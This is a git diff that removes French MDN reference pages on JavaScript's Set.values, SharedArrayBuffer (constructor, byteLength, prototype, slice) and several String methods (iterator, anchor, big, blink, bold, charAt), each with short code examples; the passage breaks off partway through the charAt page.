La méthode values() renvoie un nouvel objet {{jsxref("Iterator")}} qui contient les valeurs de chaque élément de l'objet Set, dans leur ordre d'insertion.

- -

La méthode keys() est un alias pour cette méthode (afin de conserver une certaine similarité avec les objets {{jsxref("Map")}}) et se comportera exactement de la même façon en renvoyant les valeurs des éléments du Set.

- -
{{EmbedInteractiveExample("pages/js/set-prototype-values.html")}}
- - - -

Syntaxe

- -
monSet.values();
-
- -

Valeur de retour

- -

Un nouvel objet Iterator qui contient les valeurs de chaque élément de l'ensemble Set, dans leur ordre d'insertion.

- -

Exemples

- -
var monSet = new Set();
-monSet.add("toto");
-monSet.add("truc");
-monSet.add("machin");
-
-var setIter = monSet.values();
-
-console.log(setIter.next().value); // "toto"
-console.log(setIter.next().value); // "truc"
-console.log(setIter.next().value); // "machin"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype.values', 'Set.prototype.values')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-set.prototype.values', 'Set.prototype.values')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Set.values")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Set.prototype.entries()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/bytelength/index.html b/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/bytelength/index.html deleted file mode 100644 index d05477184d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/bytelength/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: SharedArrayBuffer.prototype.byteLength -slug: Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer/byteLength -tags: - - JavaScript - - Mémoire partagée - - Propriété - - Reference - - SharedArrayBuffer - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/byteLength ---- -
{{JSRef}}
- -

La propriété d'accesseur byteLength représente la longueur d'un {{jsxref("SharedArrayBuffer")}} exprimée en octets.

- -
{{EmbedInteractiveExample("pages/js/sharedarraybuffer-bytelength.html")}}
- - - -

Syntaxe

- -
sab.byteLength
- -

Description

- -

La propriété byteLength est une propriété d'accesseur dont le mutateur associé vaut undefined. Autrement dit, cette propriété est en lecture seule. La valeur est établie lorsque le tableau partagé est construit et elle ne peut être modifiée par la suite.

- -

Exemples

- -
var sab = new SharedArrayBuffer(1024);
-sab.byteLength; // 1024
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-get-sharedarraybuffer.prototype.bytelength', 'SharedArrayBuffer.prototype.byteLength')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.SharedArrayBuffer.byteLength")}}

- -

Voir aussi

- -
    -
  • {{jsxref("SharedArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/index.html b/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/index.html deleted file mode 100644 index b5c3a36e27..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: SharedArrayBuffer -slug: Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer -tags: - - Constructeur - - JavaScript - - Mémoire partagée - - Reference - - SharedArrayBuffer - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer ---- -
{{JSRef}}
- -

L'objet SharedArrayBuffer est utilisé afin de représenter un tampon de données binaires brutes générique de longueur fixe. Il est semblable à l'objet {{jsxref("ArrayBuffer")}} mais peut ici être utilisé pour créer différentes vues sur une même mémoire partagée. À la différence d'un ArrayBuffer, un SharedArrayBuffer ne peut pas être détaché.

- -
-

Note : L'objet SharedArrayBuffer a été désactivé le 5 janvier 2018 par défaut pour l'ensemble des principaux navigateurs afin de réduire les failles Meltdown et Spectre. Chrome a réactivé cet objet avec la version 67 pour les plateformes sur lesquelles des fonctionnalités sont présentes pour protéger des vulnérabilités telles que Spectre (« site-isolation feature »)

-
- -
{{EmbedInteractiveExample("pages/js/sharedarraybuffer-constructor.html")}}
- - - -

Syntaxe

- - -
new SharedArrayBuffer([length])
-
- -

Paramètres

- -
-
longueur
-
La taille, exprimée en octets, du tampon (buffer) de données qu'on souhaite créer.
-
- -

Valeur de retour

- -

Un nouvel objet SharedArrayBuffer de la taille donnée, dont les éléments sont initialisés à 0.

- -

Description

- -

Allouer et partager la mémoire

- -

Pour partager une zone mémoire entre plusieurs objets {{jsxref("SharedArrayBuffer")}} d'un agent à un autre (ici un agent correspond au programme principal de la page web ou à l'un de ses web workers), on utilise postMessage et le clonage structuré.

- -

L'algorithme de clonage structuré permet d'envoyer des objets SharedArrayBuffers et TypedArrays vers SharedArrayBuffers. Dans les deux cas, l'objet SharedArrayBuffer est transmis au récepteur, ce qui crée un nouvel objet SharedArrayBuffer, privé, au sein de l'agent qui reçoit (comme avec  {{jsxref("ArrayBuffer")}}). Cependant, le bloc de mémoire référencé par les deux objets SharedArrayBuffer est bien le même bloc. Aussi, si un agent interagit avec cette zone, l'autre agent pourra voir les modifications.

- -
var sab = new SharedArrayBuffer(1024);
-worker.postMessage(sab);
-
- -

Mettre à jour et synchroniser la mémoire partagée avec les opérations atomiques

- -

La mémoire partagée peut être créée et mise à jour de façon simultanée entre les workers et le thread d'exécution principal. Selon le système (le processeur, le système d'exploitation, le navigateur), cela peut prendre du temps avant que le changement soit propagé sur l'ensemble des contextes. Pour que la synchronisation s'effectue, on doit utiliser les opérations {{jsxref("Atomics", "atomiques", "", 1)}}.

- -

Les API qui utilisent des objets SharedArrayBuffer

- -
    -
  • {{domxref("WebGLRenderingContext.bufferData()")}}
    • -
  • {{domxref("WebGLRenderingContext.bufferSubData()")}}
    • -
  • {{domxref("WebGL2RenderingContext.getBufferSubData()")}}
    • -
- -

Obligation d'utiliser l'opérateur new

- -

Les constructeurs SharedArrayBuffer doivent être utilisés avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Si on appelle un constructeur SharedArrayBuffer comme une fonction, sans new, cela lèvera une exception {{jsxref("TypeError")}}.

- -
var sab = SharedArrayBuffer(1024);
-// TypeError: appeler le constructeur natif SharedArrayBuffer sans
-// new est interdit
- -
var sab = new SharedArrayBuffer(1024);
- -

Propriétés

- -
-
SharedArrayBuffer.length
-
La propriété de longueur pour le constructeur SharedArrayBuffer dont la valeur est 1.
-
{{jsxref("SharedArrayBuffer.prototype")}}
-
Le prototype permet d'ajouter des propriétés à l'ensemble des objets SharedArrayBuffer.
-
- -

Le prototype de SharedArrayBuffer

- -

Toutes les instances de SharedArrayBuffer héritent de {{jsxref("SharedArrayBuffer.prototype")}}.

- -

Propriétés

- -

{{page('fr/Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer/prototype','Propriétés')}}

- -

Méthodes

- -

{{page('fr/Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer/prototype','Méthodes')}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-sharedarraybuffer-objects', 'SharedArrayBuffer')}}{{Spec2('ESDraft')}}
{{SpecName('ES8', '#sec-sharedarraybuffer-objects', 'SharedArrayBuffer')}}{{Spec2('ES8')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.SharedArrayBuffer")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/prototype/index.html deleted file mode 100644 index 58e0f921fd..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/prototype/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: SharedArrayBuffer.prototype -slug: Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer/prototype -tags: - - JavaScript - - Mémoire partagée - - Propriété - - Reference - - SharedArrayBuffer - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer -translation_of_original: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype ---- -
{{JSRef}}
- -

La propriété SharedArrayBuffer.prototype représente le prototype de l'objet {{jsxref("SharedArrayBuffer")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Les instances de SharedArrayBuffer héritent de SharedArrayBuffer.prototype. Comme avec les autres constructeurs, il est possible de changer le constructeur de l'objet prototype afin de modifier l'ensemble des instancees de SharedArrayBuffer.

- -

Propriétés

- -
-
SharedArrayBuffer.prototype.constructor
-
Cette méthode définit la fonction qui crée le prototype d'un objet. La valeur initiale de cette méthode est le constructeur natif SharedArrayBuffer.
-
{{jsxref("SharedArrayBuffer.prototype.byteLength")}} {{readonlyInline}}
-
La taille, exprimée en octets, du tableau. Elle est définie lorsque le tableau est construit et elle ne peut pas être modifiée par la suite. Propriété en lecture seule.
-
- -

Méthodes

- -
-
{{jsxref("SharedArrayBuffer.slice", "SharedArrayBuffer.prototype.slice(début, fin)")}}
-
Cette méthode renvoie un nouvel SharedArrayBuffer dont le contenu est une copie des octets de cet SharedArrayBuffer's entre un indice de début et un indice de fin. Si cet indice de début ou de fin est négatif, cela représentera l'indice à partir de la fin du tableau.
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-sharedarraybuffer.prototype', 'SharedArrayBuffer.prototype')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.SharedArrayBuffer.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("SharedArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/slice/index.html b/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/slice/index.html deleted file mode 100644 index 3bf6abe8af..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/slice/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: SharedArrayBuffer.prototype.slice() -slug: Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer/slice -tags: - - JavaScript - - Mémoire partagée - - Méthode - - Prototype - - Reference - - SharedArrayBuffer - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/slice ---- -
{{JSRef}}
- -

La méthode SharedArrayBuffer.prototype.slice() renvoie un nouvel objet {{jsxref("SharedArrayBuffer")}} dont le contenu est une copie des octets de l'objet SharedArrayBuffer courant entre un indice de début (inclus) et un indice de fin (exclus) (autrement dit, on copie une « tranche » du tampon courant). Si l'indice de début ou de fin est négatif, la position sera comptée à partir de la fin du tableau plutôt qu'à partir du début. L'algorithme appliqué est le même que {{jsxref("Array.prototype.slice()")}}.

- -
{{EmbedInteractiveExample("pages/js/sharedarraybuffer-slice.html")}}
- - - -

Syntaxe

- -
sab.slice()
-sab.slice(début)
-sab.slice(début, fin)
- -

Paramètres

- -
-
début {{optional_inline}}
-
-

L'indice auquel commencer l'extraction (le début du tableau se situe à l'indice 0).

- -

Si la valeur est négative, début indique le décalage à partir de la fin du tableau. Ainsi slice(-2) permettra d'extraire les deux derniers éléments du tableau.

- -

Si début est absent, slice commencera l'extraction à partir de l'indice 0.

-
-
fin {{optional_inline}}
-
-

L'indice auquel finir l'extraction. Attention, la valeur du tableau pour cet indice n'est pas incluse dans l'extraction.

- -

Ainsi, slice(1,4) permettra d'extraire entre le deuxième et le quatrième élément (c'est-à-dire les trois éléments dont les indices sont respectivement 1, 2 et 3).

- -

Si fin est un indice négatif, il indique le décalage à partir de la fin du tableau. Autrement dit slice(2,-1) permettra d'extraire les éléments du tampon à partir du troisième élément et jusqu'à l'avant-avant-dernier élément.

- -

Si fin est absent, slice réalisera l'extraction jusqu'à la fin de la séquence (sab.byteLength).

-
-
- -

Valeur de retour

- -

Un nouvel objet {{jsxref("SharedArrayBuffer")}} qui contient les éléments extraits.

- -

Exemples

- -
var sab = new SharedArrayBuffer(1024);
-sab.slice();    // SharedArrayBuffer { byteLength: 1024 }
-sab.slice(2);   // SharedArrayBuffer { byteLength: 1022 }
-sab.slice(-2);  // SharedArrayBuffer { byteLength: 2 }
-sab.slice(0,1); // SharedArrayBuffer { byteLength: 1 }
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-sharedarraybuffer.prototype.slice', 'SharedArrayBuffer.prototype.slice')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.SharedArrayBuffer.slice")}}

- -

Voir aussi

- -
    -
  • {{jsxref("SharedArrayBuffer")}}
    • -
  • {{jsxref("Array.prototype.slice()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/@@iterator/index.html b/files/fr/web/javascript/reference/objets_globaux/string/@@iterator/index.html deleted file mode 100644 index ada824203d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/@@iterator/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: 'String.prototype[@@iterator]()' -slug: Web/JavaScript/Reference/Objets_globaux/String/@@iterator -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/@@iterator ---- -
{{JSRef}}
- -

La méthode [@@iterator]() renvoie un nouvel objet Iterator qui itère sur les points de code (codets) d'une chaîne de caractères, en renvoyant chaque point de code sous forme d'une chaîne de caractères.

- -
{{EmbedInteractiveExample("pages/js/string-iterator.html")}}
- - - -

Syntaxe

- -
chaîneDeCaractères[Symbol.iterator]
- -

Valeur de retour

- -

Un nouvel objet Iterator.

- -

Exemples

- -

Utiliser [@@iterator]()

- -
var chaîne = "A\uD835\uDC68";
-
-var chaîneIter = chaîne[Symbol.iterator]();
-
-console.log(chaîneIter.next().value); // "A"
-console.log(chaîneIter.next().value); // "\uD835\uDC68"
-
- -

Utiliser [@@iterator]() avec une boucle for..of

- -
var chaine = "A\uD835\uDC68B\uD835\uDC69C\uD835\uDC6A";
-
-for (var c of chaine) {
-  console.log(c);
-}
-// "A"
-// "\uD835\uDC68"
-// "B"
-// "\uD835\uDC69"
-// "C"
-// "\uD835\uDC6A"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-string.prototype-@@iterator', 'String.prototype[@@iterator]()')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-string.prototype-@@iterator', 'String.prototype[@@iterator]()')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.@@iterator")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/string/anchor/index.html b/files/fr/web/javascript/reference/objets_globaux/string/anchor/index.html deleted file mode 100644 index b5f3fb1ea1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/anchor/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: String.prototype.anchor() -slug: Web/JavaScript/Reference/Objets_globaux/String/anchor -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/String/anchor ---- -
{{JSRef}}
- -

La méthode anchor() permet de créer une ancre HTML {{HTMLElement("a")}} qui est utilisé comme cible hypertexte.

- -

Syntaxe

- -
str.anchor(name)
- -

Paramètres

- -
-
name
-
Une chaîne de caractères représentant l'attribut name de la balise à créér.
-
- -

Valeur de retour

- -

Une chaîne de caractères qui représente un élément HTML {{HTMLElement("a")}}.

- -

Description

- -

On utilise la méthode anchor() pour créer et afficher des ancres dans un document HTML à l'aide de JavaScript.

- -

Ici la chaîne représente le texte que verra l'utilisateur. Le paramètre name représente l'attribut name de l'élément {{HTMLElement("a")}}.

- -

Les ancres créées avec la méthode anchor deviennent des éléments accessibles à travers le tableau {{domxref("document.anchors")}}.

- -

Exemples

- -
var maChaîne = "Table des matières";
-
-document.body.innerHTML = maChaîne.anchor("ancre_contenu");
- -

produira le code HTML suivant :

- -
<a name="ancre_contenu">Table des matières</a>
- -

Prothèse d'émulation (polyfill)

- -
if (!String.prototype.anchor){
-  String.prototype.anchor = function(x){
-    return '<a name="' + x + '">' + this + '</a>'
-  };
-}
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.anchor', 'String.prototype.anchor')}}{{Spec2('ES6')}}Définition initiale. Implémentée avec JavaScript 1.0. Défini dans l'annexe (normative) B sur les fonctionnalités additionnelles des navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.anchor")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.link()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/big/index.html b/files/fr/web/javascript/reference/objets_globaux/string/big/index.html deleted file mode 100644 index f661ae9149..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/big/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: String.prototype.big() -slug: Web/JavaScript/Reference/Objets_globaux/String/big -tags: - - Dépréciée - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/big ---- -
{{JSRef}}{{deprecated_header}}
- -

La méthode big() crée un élément HTML {{HTMLElement("big")}} qui affichera la chaine de caractères avec une taille de police importante.

- -
-

Note d'utilisation : L'élément <big> a été retiré de HTML5 et ne doit pas être utilisé. À la place, les développeurs web doivent utiliser les propriétés CSS.

-
- -

Syntaxe

- -
str.big()
- -

Valeur de retour

- -

Une chaîne de caractères qui représente un élément HTML {{HTMLElement("big")}}.

- -

Description

- -

La méthode big() place la chaine de caractères dans une balise <big> :
- "<big>str</big>"

- -

Exemples

- -

L'exemple suivant montre les méthodes de String pour changer la taille d'une chaine de caractères :

- -
var chaîneMonde = "Coucou monde";
-
-console.log( chaîneMonde.small()     ); // <small>Coucou monde</small>
-console.log( chaîneMonde.big()       ); // <big>Coucou monde</big>
-console.log( chaîneMonde.fontsize(7) ); // <fontsize=7>Coucou monde</fontsize>
- -

Avec l'objet {{domxref("HTMLElement.style", "element.style")}}, il est possible d'accéder à l'attribut style de l'élément et de le manipuler. Par exemple :

- -
document.getElementById('idÉlément').style.fontSize = '2em'
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.big', 'String.prototype.big')}}{{Spec2('ES6')}}Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe normative pour les fonctionnalités supplémentaires des navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.big', 'String.prototype.big')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript supplémentaires des navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.big")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.fontsize()")}}
    • -
  • {{jsxref("String.prototype.small()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/blink/index.html b/files/fr/web/javascript/reference/objets_globaux/string/blink/index.html deleted file mode 100644 index 086a52c93b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/blink/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: String.prototype.blink() -slug: Web/JavaScript/Reference/Objets_globaux/String/blink -tags: - - Deprecated - - HTML wrapper methods - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/blink ---- -
{{JSRef}}{{deprecated_header}}
- -

La méthode blink() crée un élément HTML {{HTMLElement("blink")}} qui affiche la chaine de caractères en clignotant.

- -
Avertissement : Les textes clignotants sont fortement déconseillés par de nombreux standards d'accessibilité. L'élément <blink> est lui-même non standard et obsolète !
- -

Syntaxe

- -
str.blink()
- -

Valeur de retour

- -

Une chaine de caractères représentant un élément HTML {{HTMLElement("blink")}}.

- -

Description

- -

La méthode blink() place la chaine de caractères dans une balise <blink> :
- "<blink>str</blink>"

- -

Exemples

- -

L'exemple suivant utilise des méthodes de String pour changer l'affichage d'une chaine de caractères :

- -
var chaîneMonde = "Coucou monde";
-
-console.log(chaîneMonde.blink());
-console.log(chaîneMonde.bold());
-console.log(chaîneMonde.italics());
-console.log(chaîneMonde.strike());
- -

Cet exemple produira le code HTML suivant :

- -
<blink>Coucou monde</blink>
-<b>Coucou monde</b>
-<i>Coucou monde</i>
-<strike>Coucou monde</strike>
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.blink', 'String.prototype.blink')}}{{Spec2('ES6')}}Définition initiale. Implémentée avec JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles des navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.blink', 'String.prototype.blink')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles des navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.blink")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.bold()")}}
    • -
  • {{jsxref("String.prototype.italics()")}}
    • -
  • {{jsxref("String.prototype.strike()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/bold/index.html b/files/fr/web/javascript/reference/objets_globaux/string/bold/index.html deleted file mode 100644 index 4a2970edfc..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/bold/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: String.prototype.bold() -slug: Web/JavaScript/Reference/Objets_globaux/String/bold -tags: - - Déprécié - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/bold ---- -
{{JSRef}}{{deprecated_header}}
- -

La méthode bold() crée un élément HTML {{HTMLElement("b")}} qui affiche la chaine de caractères en gras.

- -

Syntaxe

- -
str.bold()
- -

Valeur de retour

- -

Une chaîne de caractères représentant un élément HTML {{HTMLElement("b")}}.

- -

Description

- -

La méthode bold() place la chaine de caractères dans une balise <b> :
- "<b>str</b>"

- -

Exemples

- -

L'exemple suivant utilise des méthodes de String pour changer l'affichage de la chaine de caractères :

- -
var chaîneMonde = "Coucou monde";
-
-console.log( chaîneMonde.blink()   );
-console.log( chaîneMonde.bold()    );
-console.log( chaîneMonde.italics() );
-console.log( chaîneMonde.strike()  );
- -

Cet exemple produit le même HTML que le code suivant :

- -
<blink>Coucou monde</blink>
-<b>Coucou monde</b>
-<i>Coucou monde</i>
-<strike>Coucou monde</strike>
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.bold', 'String.prototype.bold')}}{{Spec2('ES6')}}Définition initiale. Implémentée avec JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles des navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.bold', 'String.prototype.bold')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles des navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.bold")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.blink()")}}
    • -
  • {{jsxref("String.prototype.italics()")}}
    • -
  • {{jsxref("String.prototype.strike()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/charat/index.html b/files/fr/web/javascript/reference/objets_globaux/string/charat/index.html deleted file mode 100644 index 712ffd5ff3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/charat/index.html +++ /dev/null @@ -1,249 +0,0 @@ ---- -title: String.prototype.charAt() -slug: Web/JavaScript/Reference/Objets_globaux/String/charAt -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/charAt ---- -
{{JSRef}}
- -

La méthode charAt() renvoie une nouvelle chaîne contenant le caractère (ou, plus précisément, le point de code UTF-16)  à la position indiquée en argument.

- -
{{EmbedInteractiveExample("pages/js/string-charat.html")}}
- - - -

Syntaxe

- -
str.charAt(index)
- -

Paramètres

- -
-
index
-
Un entier entre 0 et la longueur de la chaîne - 1. Si aucun index n'est fourni (ce qui correspond à fournir {{jsxref("undefined")}}) ou si l'index ne peut pas être converti en entier, la recherche sera effectuée à l'index 0 et le premier caractère sera donc renvoyé.
-
- -

Valeur de retour

- -

Une chaîne de caractères qui représente le point de code UTF-16 à la position indiquée. Si la position est dehors de la chaîne, ce sera une chaîne vide.

- -

Description

- -

Les caractères d'une chaîne sont indexés de la gauche vers la droite. L'indice du premier caractère est 0 et l'indice du dernier caractère est la longueur de la chaîne moins un (par exemple, si on a une chaîne toto, le dernier caractère de la chaine aura l'indice toto.length - 1). Si l'indice fourni est en dehors de cet intervalle, la méthode renverra une chaîne vide. Si aucun indice n'est fourni, la valeur par défaut utilisée sera 0.

- -

Exemples

- -

Afficher les caractères situés à différentes positions d'une chaîne

- -

L'exemple suivant affiche les caractères à différentes positions de la chaîne "Coucou tout le monde" :

- -
var uneChaîne = "Coucou tout le monde";
-
-console.log("La caractère d'indice 0 est '" + uneChaîne.charAt(0)   + "'");
-console.log("La caractère d'indice 1 est '" + uneChaîne.charAt(1)   + "'");
-console.log("La caractère d'indice 2 est '" + uneChaîne.charAt(2)   + "'");
-console.log("La caractère d'indice 3 est '" + uneChaîne.charAt(3)   + "'");
-console.log("La caractère d'indice 4 est '" + uneChaîne.charAt(4)   + "'");
-console.log("La caractère d'indice 999 est '" + uneChaîne.charAt(999) + "'");
-
- -

Ces lignes afficheront respectivement :

- -
La caractère d'indice 0 est 'C'
-La caractère d'indice 1 est 'o'
-La caractère d'indice 2 est 'u'
-La caractère d'indice 3 est 'c'
-La caractère d'indice 4 est 'o'
-La caractère d'indice 999 est ''
-
- -

Obtenir des caractères complets

- -

Le code qui suit permet de s'assurer qu'on récupère des caractères complets et ce même si la chaîne de caractères contient des caractères en dehors du plan multilingue de base (BMP) (qui sont donc représentés sur deux unités de code/codets) :

- -
var str = 'A \uD87E\uDC04 Z'; // On pourrait aussi utiliser un caractère hors du BMP directement
-for (var i=0, chr; i < str.length; i++) {
-  if ((chr = getWholeChar(str, i)) === false) {
-    continue;
-  } // On adapte cette ligne pour chaque boucle, en passant la chaîne de caractères
-    // et on renvoie une variable représentant le caractère individuel
-
-  console.log(chr);
-}
-
-function getWholeChar(str, i) {
-  var code = str.charCodeAt(i);
-
-  if (Number.isNaN(code)) {
-    return ''; // la position n'a pas pu être trouvée
-  }
-  if (code < 0xD800 || code > 0xDFFF) {
-    return str.charAt(i);
-  }
-
-  // On traite ici le demi codet supérieur (high surrogate)
-  // La borne supérieure du test pourrait être 0xDB7F afin de prendre en compte
-  // les demi-codets privés comme des caractères uniques
-  if (0xD800 <= code && code <= 0xDBFF) {
-    if (str.length <= (i+1))  {
-      throw 'le demi-codet supérieur n'est pas suivi par un demi-codet inférieur';
-    }
-    var next = str.charCodeAt(i+1);
-      if (0xDC00 > next || next > 0xDFFF) {
-        throw 'le demi-codet supérieur n'est pas suivi par un demi-codet inférieur';
-      }
-      return str.charAt(i)+str.charAt(i+1);
-  }
-  // on gère le demi codet inférieur (0xDC00 <= code && code <= 0xDFFF)
-  if (i === 0) {
-    throw 'le demi-codet inférieur n'est pas précédé d'un demi-codet supérieur';
-  }
-  var prev = str.charCodeAt(i-1);
-
-  // (la borne supérieure pourrait être modifiée en 0xDB7F afin de traiter
-  // les demi-codets supérieurs privés comme des caractètres uniques)
-  if (0xD800 > prev || prev > 0xDBFF) {
-    throw 'le demi-codet inférieur n'est pas précédé d'un demi-codet supérieur';
-  }
-  // on peut passer des demis codets inférieurs comme deuxième composant
-  // d'une paire déjà traitée
-  return false;
-}
-
-
- -

Dans un environnement ECMAScript 2016 qui permet d'utiliser l'affectation par décomposition, on peut obtenir une version plus succincte et flexible :

- -
var str = 'A\uD87E\uDC04Z'; // We could also use a non-BMP character directly
-for (var i=0, chr; i < str.length; i++) {
-  [chr, i] = getWholeCharAndI(str, i);
-  // Adapt this line at the top of each loop, passing in the whole string and
-  // the current iteration and returning an array with the individual character
-  // and 'i' value (only changed if a surrogate pair)
-
-  console.log(chr);
-}
-
-function getWholeCharAndI(str, i) {
-  var code = str.charCodeAt(i);
-
-  if (Number.isNaN(code)) {
-    return ''; // Position not found
-  }
-  if (code < 0xD800 || code > 0xDFFF) {
-    return [str.charAt(i), i]; // Normal character, keeping 'i' the same
-  }
-
-  // High surrogate (could change last hex to 0xDB7F to treat high private
-  // surrogates as single characters)
-  if (0xD800 <= code && code <= 0xDBFF) {
-    if (str.length <= (i+1))  {
-      throw 'High surrogate without following low surrogate';
-    }
-    var next = str.charCodeAt(i+1);
-      if (0xDC00 > next || next > 0xDFFF) {
-        throw 'High surrogate without following low surrogate';
-      }
-      return [str.charAt(i)+str.charAt(i+1), i+1];
-  }
-  // Low surrogate (0xDC00 <= code && code <= 0xDFFF)
-  if (i === 0) {
-    throw 'Low surrogate without preceding high surrogate';
-  }
-  var prev = str.charCodeAt(i-1);
-
-  // (could change last hex to 0xDB7F to treat high private surrogates
-  // as single characters)
-  if (0xD800 > prev || prev > 0xDBFF) {
-    throw 'Low surrogate without preceding high surrogate';
-  }
-  // Return the next character instead (and increment)
